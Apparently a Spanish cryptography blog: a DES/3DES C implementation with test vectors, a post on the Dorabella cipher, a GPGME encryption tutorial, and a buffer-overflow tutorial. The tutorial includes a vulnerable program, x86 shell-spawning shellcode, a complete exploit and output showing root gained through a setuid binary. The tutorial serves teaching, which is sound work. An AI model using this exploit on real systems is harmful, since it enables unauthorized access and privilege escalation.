T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T; \
X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF; \
}

/*
* Final Permutation macro
*/
#define DES_FP(X,Y) \
{ \
X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF; \
T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T; \
Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF; \
T = ((Y >> 8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T << 8); \
T = ((Y >> 2) ^ X) & 0x33333333; X ^= T; Y ^= (T << 2); \
T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16); \
T = ((X >> 4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T << 4); \
}

/*
* DES round macro
*/
#define DES_ROUND(X,Y) \
{ \
T = *SK++ ^ X; \
Y ^= SB8[ (T ) & 0x3F ] ^ \
SB6[ (T >> 8) & 0x3F ] ^ \
SB4[ (T >> 16) & 0x3F ] ^ \
SB2[ (T >> 24) & 0x3F ]; \
\
T = *SK++ ^ ((X << 28) | (X >> 4)); \
Y ^= SB7[ (T ) & 0x3F ] ^ \
SB5[ (T >> 8) & 0x3F ] ^ \
SB3[ (T >> 16) & 0x3F ] ^ \
SB1[ (T >> 24) & 0x3F ]; \
}

static void des_main_ks( unsigned long SK[32], unsigned char key[8] )
{
int i;
unsigned long X, Y, T;

GET_UINT32_BE( X, key, 0 );
GET_UINT32_BE( Y, key, 4 );

/*
* Permuted Choice 1
*/
T = ((Y >> 4) ^ X) & 0x0F0F0F0F; X ^= T; Y ^= (T << 4);
T = ((Y ) ^ X) & 0x10101010; X ^= T; Y ^= (T );

X = (LHs[ (X ) & 0xF] << 3) | (LHs[ (X >> 8) & 0xF ] << 2)
| (LHs[ (X >> 16) & 0xF] << 1) | (LHs[ (X >> 24) & 0xF ] )
| (LHs[ (X >> 5) & 0xF] << 7) | (LHs[ (X >> 13) & 0xF ] << 6)
| (LHs[ (X >> 21) & 0xF] << 5) | (LHs[ (X >> 29) & 0xF ] << 4);

Y = (RHs[ (Y >> 1) & 0xF] << 3) | (RHs[ (Y >> 9) & 0xF ] << 2)
| (RHs[ (Y >> 17) & 0xF] << 1) | (RHs[ (Y >> 25) & 0xF ] )
| (RHs[ (Y >> 4) & 0xF] << 7) | (RHs[ (Y >> 12) & 0xF ] << 6)
| (RHs[ (Y >> 20) & 0xF] << 5) | (RHs[ (Y >> 28) & 0xF ] << 4);

X &= 0x0FFFFFFF;
Y &= 0x0FFFFFFF;

/*
* calculate subkeys
*/
for( i = 0; i < 16; i++ )
{
if( i < 2 || i == 8 || i == 15 )
{
X = ((X << 1) | (X >> 27)) & 0x0FFFFFFF;
Y = ((Y << 1) | (Y >> 27)) & 0x0FFFFFFF;
}
else
{
X = ((X << 2) | (X >> 26)) & 0x0FFFFFFF;
Y = ((Y << 2) | (Y >> 26)) & 0x0FFFFFFF;
}

*SK++ = ((X << 4) & 0x24000000) | ((X << 28) & 0x10000000)
| ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
| ((X << 6) & 0x01000000) | ((X << 9) & 0x00200000)
| ((X >> 1) & 0x00100000) | ((X << 10) & 0x00040000)
| ((X << 2) & 0x00020000) | ((X >> 10) & 0x00010000)
| ((Y >> 13) & 0x00002000) | ((Y >> 4) & 0x00001000)
| ((Y << 6) & 0x00000800) | ((Y >> 1) & 0x00000400)
| ((Y >> 14) & 0x00000200) | ((Y ) & 0x00000100)
| ((Y >> 5) & 0x00000020) | ((Y >> 10) & 0x00000010)
| ((Y >> 3) & 0x00000008) | ((Y >> 18) & 0x00000004)
| ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);

*SK++ = ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
| ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
| ((X >> 2) & 0x02000000) | ((X << 1) & 0x01000000)
| ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
| ((X << 3) & 0x00080000) | ((X >> 6) & 0x00040000)
| ((X << 15) & 0x00020000) | ((X >> 4) & 0x00010000)
| ((Y >> 2) & 0x00002000) | ((Y << 8) & 0x00001000)
| ((Y >> 14) & 0x00000808) | ((Y >> 9) & 0x00000400)
| ((Y ) & 0x00000200) | ((Y << 7) & 0x00000100)
| ((Y >> 7) & 0x00000020) | ((Y >> 3) & 0x00000011)
| ((Y << 2) & 0x00000004) | ((Y >> 21) & 0x00000002);
}
}

/*
* DES key schedule (56-bit)
*/
void des_set_key( des_context *ctx, unsigned char key[8] )
{
int i;

des_main_ks( ctx->esk, key );

for( i = 0; i < 32; i += 2 )
{
ctx->dsk[i ] = ctx->esk[30 - i];
ctx->dsk[i + 1] = ctx->esk[31 - i];
}
}

static void des_crypt( unsigned long SK[32],
unsigned char input[8],
unsigned char output[8] )
{
unsigned long X, Y, T;

GET_UINT32_BE( X, input, 0 );
GET_UINT32_BE( Y, input, 4 );

DES_IP( X, Y );

DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );

DES_FP( Y, X );

PUT_UINT32_BE( Y, output, 0 );
PUT_UINT32_BE( X, output, 4 );
}

/*
* DES block encryption (ECB mode)
*/
void des_encrypt( des_context *ctx,
unsigned char input[8],
unsigned char output[8] )
{
des_crypt( ctx->esk, input, output );
}

/*
* DES block decryption (ECB mode)
*/
void des_decrypt( des_context *ctx,
unsigned char input[8],
unsigned char output[8] )
{
des_crypt( ctx->dsk, input, output );
}

/*
* DES-CBC buffer encryption
*/
void des_cbc_encrypt( des_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len )
{
int i;

while( len > 0 )
{
for( i = 0; i < 8; i++ )
output[i] = input[i] ^ iv[i];

des_crypt( ctx->esk, output, output );
memcpy( iv, output, 8 );

input += 8;
output += 8;
len -= 8;
}
}

/*
* DES-CBC buffer decryption
*/
void des_cbc_decrypt( des_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len )
{
int i;
unsigned char temp[8];

while( len > 0 )
{
memcpy( temp, input, 8 );
des_crypt( ctx->dsk, input, output );

for( i = 0; i < 8; i++ )
output[i] = output[i] ^ iv[i];

memcpy( iv, temp, 8 );

input += 8;
output += 8;
len -= 8;
}
}

/*
* Triple-DES key schedule (112-bit)
*/
void des3_set_2keys( des3_context *ctx, unsigned char key[16] )
{
int i;

des_main_ks( ctx->esk , key );
des_main_ks( ctx->dsk + 32, key + 8 );

for( i = 0; i < 32; i += 2 )
{
ctx->dsk[i ] = ctx->esk[30 - i];
ctx->dsk[i + 1] = ctx->esk[31 - i];

ctx->esk[i + 32] = ctx->dsk[62 - i];
ctx->esk[i + 33] = ctx->dsk[63 - i];

ctx->esk[i + 64] = ctx->esk[ i];
ctx->esk[i + 65] = ctx->esk[ 1 + i];

ctx->dsk[i + 64] = ctx->dsk[ i];
ctx->dsk[i + 65] = ctx->dsk[ 1 + i];
}
}

/*
* Triple-DES key schedule (168-bit)
*/
void des3_set_3keys( des3_context *ctx, unsigned char key[24] )
{
int i;

des_main_ks( ctx->esk , key );
des_main_ks( ctx->dsk + 32, key + 8 );
des_main_ks( ctx->esk + 64, key + 16 );

for( i = 0; i < 32; i += 2 )
{
ctx->dsk[i ] = ctx->esk[94 - i];
ctx->dsk[i + 1] = ctx->esk[95 - i];

ctx->esk[i + 32] = ctx->dsk[62 - i];
ctx->esk[i + 33] = ctx->dsk[63 - i];

ctx->dsk[i + 64] = ctx->esk[30 - i];
ctx->dsk[i + 65] = ctx->esk[31 - i];
}
}

static void des3_crypt( unsigned long SK[96],
unsigned char input[8],
unsigned char output[8] )
{
unsigned long X, Y, T;

GET_UINT32_BE( X, input, 0 );
GET_UINT32_BE( Y, input, 4 );

DES_IP( X, Y );

DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );

DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );
DES_ROUND( X, Y ); DES_ROUND( Y, X );

DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );
DES_ROUND( Y, X ); DES_ROUND( X, Y );

DES_FP( Y, X );

PUT_UINT32_BE( Y, output, 0 );
PUT_UINT32_BE( X, output, 4 );
}

/*
* Triple-DES block encryption (ECB mode)
*/
void des3_encrypt( des3_context *ctx,
unsigned char input[8],
unsigned char output[8] )
{
des3_crypt( ctx->esk, input, output );
}

/*
* Triple-DES block decryption (ECB mode)
*/
void des3_decrypt( des3_context *ctx,
unsigned char input[8],
unsigned char output[8] )
{
des3_crypt( ctx->dsk, input, output );
}

/*
* 3DES-CBC buffer encryption
*/
void des3_cbc_encrypt( des3_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len )
{
int i;

while( len > 0 )
{
for( i = 0; i < 8; i++ )
output[i] = input[i] ^ iv[i];

des3_crypt( ctx->esk, output, output );
memcpy( iv, output, 8 );

input += 8;
output += 8;
len -= 8;
}
}

/*
* 3DES-CBC buffer decryption
*/
void des3_cbc_decrypt( des3_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len )
{
int i;
unsigned char temp[8];

while( len > 0 )
{
memcpy( temp, input, 8 );
des3_crypt( ctx->dsk, input, output );

for( i = 0; i < 8; i++ )
output[i] = output[i] ^ iv[i];

memcpy( iv, temp, 8 );

input += 8;
output += 8;
len -= 8;
}
}

static const char _des_src[] = "_des_src";

#ifdef SELF_TEST

#include

/*
* DES/3DES test vectors (source: NIST, tripledes-vectors.zip)
*/
static const unsigned char DES3_keys[24] =
{
0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23
};

static const unsigned char DES3_init[8] =
{
0x4E, 0x6F, 0x77, 0x20, 0x69, 0x73, 0x20, 0x74
};

static const unsigned char DES3_enc_test[3][8] =
{
{ 0x6A, 0x2A, 0x19, 0xF4, 0x1E, 0xCA, 0x85, 0x4B },
{ 0x03, 0xE6, 0x9F, 0x5B, 0xFA, 0x58, 0xEB, 0x42 },
{ 0xDD, 0x17, 0xE8, 0xB8, 0xB4, 0x37, 0xD2, 0x32 }
};

static const unsigned char DES3_dec_test[3][8] =
{
{ 0xCD, 0xD6, 0x4F, 0x2F, 0x94, 0x27, 0xC1, 0x5D },
{ 0x69, 0x96, 0xC8, 0xFA, 0x47, 0xA2, 0xAB, 0xEB },
{ 0x83, 0x25, 0x39, 0x76, 0x44, 0x09, 0x1A, 0x0A }
};

/*
* Checkup routine
*/
int des_self_test( void )
{
int i, j, u, v;
des_context ctx;
des3_context ctx3;
unsigned char buf[8];

for( i = 0; i < 6; i++ )
{
u = i >> 1;
v = i & 1;

printf( " DES%c-EBC-%3d (%s): ",
( u == 0 ) ? ' ' : '3', 64 + u * 64,
( v == 0 ) ? "enc" : "dec" );

memcpy( buf, DES3_init, 8 );

if( u == 0 )
des_set_key( &ctx, (unsigned char *) DES3_keys );

if( u == 1 )
des3_set_2keys( &ctx3, (unsigned char *) DES3_keys );

if( u == 2 )
des3_set_3keys( &ctx3, (unsigned char *) DES3_keys );

for( j = 0; j < 10000; j++ )
{
if( u == 0 )
{
if( v == 0 ) des_encrypt( &ctx, buf, buf );
if( v == 1 ) des_decrypt( &ctx, buf, buf );
}
else
{
if( v == 0 ) des3_encrypt( &ctx3, buf, buf );
if( v == 1 ) des3_decrypt( &ctx3, buf, buf );
}
}

if( ( v == 0 && memcmp( buf, DES3_enc_test[u], 8 ) != 0 ) ||
( v == 1 && memcmp( buf, DES3_dec_test[u], 8 ) != 0 ) )
{
printf( "failed\n" );
return( 1 );
}

printf( "passed\n" );
}

printf( "\n" );
return( 0 );
}
#else
int des_self_test( void )
{
return( 0 );
}
#endif






Referencias:
- Data Encryption Standard
- XySSL

martes, 29 de mayo de 2007

El cifrado Dorabella

El 14 de Julio de 1897 el compositor británico Sir Edward William Elgar envió una carta cifrada a su amiga Miss Dora Penny. Un siglo después, la carta todavía no ha sido descifrada. Este curioso cifrado, que ha resistido todo tipo de criptoanálisis hasta la actualidad, consiste en 87 carácteres repartidos en 3 líneas.


Estos extraños caracteres, formados por la unión de semicírculos, parecen constituir un alfabeto de 24 símbolos.

Si se analiza la frecuencia en la que aparecen los símbolos, se puede determinar que es similar a la de un texto en inglés. Sin embargo, los análisis en esta dirección no han obtenido conclusiones satisfactorias.

El cifrado Dorabella es uno de los muchos enigmas sin resolver del mundo de la criptografía y, sin lugar a dudas, uno de los mas curiosos.


Recientemente se ha propuesto una solución en:
http://unsolvedproblems.org/S02.jpg




domingo, 20 de mayo de 2007

Criptografía con GPG y GPGME I

GnuPG es una implementación libre del estándar OpenPGP y una conocida herramienta en criptografía que permite cifrar, descifrar, firmar, verificar firmas y administrar claves.

GnuPG Made Easy o GPGME es una librería que permite acceder a GnuPG de forma sencilla, proporcionando una API de alto nivel.

A continuación vamos a ver como cifrar un archivo. Para ello es necesario disponer de una clave, por lo que si no se dispone de una puede generarse con:
$ gpg --gen-key

Para ver una lista de las claves existentes podemos ejecutar:
$ gpg --list-keys

Y para cifrar un archivo con GPG:
$ gpg --encrypt -r id file
donde id es el identificador de la clave que deseamos usar y file es el fichero a cifrar.

Para hacer lo mismo mediante GPGME usaremos la siguiente función (NOTA: para usar GPGME es necesario incluir la cabecera "gpgme.h").




int gpg_encrypt(char *fingerprint, char *src_path, char *dst_path)
{
gpgme_ctx_t ctx;
gpgme_error_t err;
gpgme_data_t in, out;
gpgme_key_t key[2] = { NULL, NULL};
gpgme_encrypt_result_t result;
#define BUF_SIZE 512
char buf[BUF_SIZE + 1];
int ret;
FILE *f;

gpgme_check_version(NULL);
setlocale(LC_ALL, "");
gpgme_set_locale(NULL, LC_CTYPE, setlocale (LC_CTYPE, NULL));
gpgme_set_locale(NULL, LC_MESSAGES, setlocale (LC_MESSAGES, NULL));

if( (err=gpgme_engine_check_version (GPGME_PROTOCOL_OpenPGP)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_new(&ctx)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

gpgme_set_armor(ctx, 1);

if( (err=gpgme_data_new_from_file (&in, src_path, 1)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_data_new(&out)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_get_key(ctx, fingerprint, &key[0], 0)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_op_encrypt(ctx, key, GPGME_ENCRYPT_ALWAYS_TRUST,
in,out)) !=0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

result = gpgme_op_encrypt_result(ctx);
if (result->invalid_recipients)
{
fprintf(stderr,"Invalid recipient: %s\n",result->invalid_recipients->fpr);
return EXIT_FAILURE;
}

if( (f=fopen(dst_path, "w+")) == NULL)
{
perror("fopen()");
return EXIT_FAILURE;
}

if( (ret=gpgme_data_seek (out, 0, SEEK_SET)) != 0)
{
err = gpgme_err_code_from_errno (errno);
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

while( (ret = gpgme_data_read (out, buf, BUF_SIZE)) > 0)
fwrite (buf, ret, 1, f);

if(ret<0)
{
err = gpgme_err_code_from_errno (errno);
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

gpgme_key_unref (key[0]);
gpgme_key_unref (key[1]);
gpgme_data_release (in);
gpgme_data_release (out);
gpgme_release (ctx);

return EXIT_SUCCESS;
}

Llamando a esta función con los parámetros adecuados cifraremos un fichero tal y como lo haríamos desde la shell con el comando gpg. Un ejemplo de llamada a la función sería el siguiente:



if(gpg_encrypt("F1234567", "secreto", "secreto.gpg") != 0)
{
... // error
}


Para compilar un programa que usa la librería GPGME disponemos de gpgme-config, que nos permite obtener los flags necesarios y las librerías. Un ejemplo de compilación es el siguiente:

$ gcc `gpgme-config --cflags --libs` -D_FILE_OFFSET_BITS=64  test.c


Finalmente, para descifrar un archivo con GPG podemos ejecutar el siguiente comando:
$ gpg --decrypt  file

GPG nos solicitará la contraseña y descifrará el archivo.

Pueden encontrarse más ejemplos de como usar esta librería en las fuentes de: GPGME.

Buffer Overflow


En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.

¿Qué es un buffer overflow?

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:





/* vulnerable.c */

void vulnerable (char *param)
{
char buffer[512];
strcpy (buffer, param);
}

int main (int argc, char **argv)
{
if (argc!=2)
{
printf ("Uso: %s \n", argv[0]);
return 0;
}

vulnerable (argv[1]);
return 0;
}




Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.



$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento



El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:






__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|
| buffer |
|__________________|
| buffer |
|__________________|
| buffer |
|__________________|
| Frame Pointer |
|__________________|
| Return address |
|__________________|
| param |
|__________________|
| param |
|__________________|
| param |
|__________________|
| |
| ... |
| |
| |





El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas.

Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno.

Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior.

Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:





__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|

| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- Frame Pointer
|__________________|
| 0x41414141 | <-- Return address
|__________________|
| 0x41414141 | <-- param
|__________________|
| 0x41414141 | <-- param
|__________________|
| 0x41414141 | <-- param
|__________________|
| |
| ... |
| |
| |




Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación.

Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable.

Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:




__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|
------> | NOP NOP NOP NOP | <-- buffer
| |__________________|
| | NOP NOP NOP NOP | <-- buffer
| |__________________|
| | SHELLCODE | <-- buffer
| |__________________|
| | RET RET RET RET | <-- Frame Pointer
| |__________________|
------- | RET RET RET RET | <-- Return address
|__________________|
| RET RET RET RET | <-- param
|__________________|
| RET RET RET RET | <-- param
|__________________|
| RET RET RET RET | <-- param
|__________________|
| |
| ... |
| |
| |





Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs.

Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada.

¿Sencillo no?
Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas.

El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc.
Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs).

Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode:
La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:



\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80




Este código, para Linux x86, proporciona una shell interactiva al usuario.

Desarrollo de un exploit:

Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable.

Los pasos a seguir por el exploit son los siguientes:


1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos.

2. Buscar el stack pointer. Con una función como la siguiente:



unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}



3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer.

4. Rellenar el buffer con la estructura estudiada. Más o menos asi:

BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR


5. Ejecutar el programa vulnerable con nuestro buffer como parametro.


Veamos el programa de ejemplo:



/* exploit.c */

#define NOP 0x90

char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";

/* Retorna el stack pointer */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
char *buffer;
char *pbuffer;

long *addr_pbuffer;
long nop_addr;

int offset=0;
int size;
int i;

if (argc!=3)
{
printf ("Uso: %s \n", argv[0]);
return 0;
}

size = atoi(argv[1]) + 100;
offset = atoi(argv[2]);

if (!(buffer = malloc(size)))
{
printf("malloc()\n");
exit(0);
}

/* Direccion aproximada de la zona de NOPs */
nop_addr = get_sp() - offset;

/*
* Llenamos el buffer con la direccion de retorno (R):
* BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
*/
pbuffer = buffer;
addr_pbuffer = (long *) pbuffer;
for (i = 0; i < size; i+=4)
*(addr_pbuffer++) = nop_addr;

/*
* Llenamos la primera mitad del buffer con NOPs
* BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
*/
for (i = 0; i < size/2; i++)
buffer[i] = NOP;

/*
* Ponemos la shellcode (S) en la mitad del buffer
* BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
*/
pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcode[i];

/* Delimitamos el final del buffer */
buffer[size - 1] = '\0';

/* Ejecutamos el exploit */
execl("./vulnerable", "vulnerable", buffer, 0);

return 0;
}


Probemos nuestro exploit:


$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit


Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.


$./exploit 512 0
sh-2.05b#


A la primera! Mucha suerte hemos tenido.
Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.



...
char buffer[256];
strcpy (buffer, param);
...



$ gcc vulnerable.c -o vulnerable
$ ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b#



En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.




...
char buffer[2048];
strcpy (buffer, param);
...




gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#



Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs.

Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios.

Supongamos un programa vulnerable setuid. Podemos crear uno con:



$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x 1 root root 4,9K jul 26 17:49 vulnerable


... y un usuario sin privilegios:


$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)



El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:



$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)



Referencias:

Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html